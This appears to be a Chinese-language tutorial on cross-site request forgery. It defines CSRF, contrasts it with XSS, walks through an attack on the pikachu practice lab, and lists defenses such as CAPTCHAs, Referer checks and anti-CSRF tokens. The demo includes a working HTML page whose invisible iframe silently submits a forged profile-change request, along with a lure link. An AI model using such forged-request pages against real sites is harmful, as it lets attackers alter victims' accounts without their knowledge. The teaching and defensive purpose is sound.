简介
CSRF:跨站点请求伪造(Cross Site Request Forgery)
形成原因:攻击者伪造一个请求(这个请求一般是一个链接),然后欺骗目标用户进行点击,用户一旦点击了这个请求,整个攻击就完成了;成功的原因是重要操作的所有参数都可以被攻击者猜测到进行伪造,因为发起一次csrf攻击需要构造一个合法的请求。
XSS和CSRF的区别
XSS和CSRF的区别:
CSRF是一种挟制用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法,并没有获取用户的权限(比如cookie)而是借助用户本身在不知情下发起攻击者伪造的请求,达到执行非本意操作的目的。CSRF 利用的是网站对用户网页浏览器的信任。
XSS是利用未对用户输入的数据进行处理漏洞,导致HTML被写入js代码,产生危害(如获取用户的cookie)。XSS 利用的是用户对指定网站的信任。
示例
CSRF攻击成功有两点:
1、目标用户在登录状态
2、目标用户点击链接
举例说明:
靶场:pikachu
以vince账户登录密码123456
登录状态下尝试修改信息:
抓包发现未对重要参数进行处理也没有验证(token等),存在csrf漏洞,尝试伪造请求:
构造链接:
echo '<div><a href="crsf_request.html" >伪造链接,诱使用户点击 </a></div>';
crsf_request.html
<html>
<head>
<meta charset=utf-8>
<title>
csrf
</title>
</head>
<body>
<p>修改信息</p>
<iframe/ src="http://127.0.0.1/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=%E5%A5%B3&phonenum=8888888&add=xxxxxx&email=vince@qq.com&submit=submit" frameborder="0" width="0px">
</body>
</html>
点击链接:实现页面跳转,攻击者伪造的页面
信息修改成功,完成csrf攻击:
未登录转态下点击:
修改电话为7777777
<p>修改信息</p>
<iframe/ src="http://127.0.0.1/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=%E5%A5%B3&phonenum=777777777&add=xxxxxx&email=vince@qq.com&submit=submit" frameborder="0" width="0px">
跳转;
登入后发现信息并没有被更改:
至此csrf介绍完毕!
防御
1、添加验证码
csrf攻击往往是在用户不知情的情况下构造了网络请求,验证码强制用户必须与应用进行交互,才能完成最终的请求。
2、Referer Check
HTTP Referer是header的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器该网页是从哪个页面链接过来的,服务器因此可以获得一些信息用于处理。通过检查referer是否合法来判断用户是否被csrf攻击。
3、Anti CSRF Token
通过在session 和cookie中添加token,token需要同时放在表单和session中,服务器只需验证表单中的token与用户session或cookie中的token是否一致,如果一致则是合法请求,可以有效的防御csrf攻击,因为攻击者无法预测token不能构造出完整的URL。
token使用原则:
1、不可预测性
2、随机性
3、尽量放在表单中
把敏感操作由GET改为POST,以form表单(或者AJAX)的形式提交,可以避免token泄露。
4、用户不点击未知链接或不登录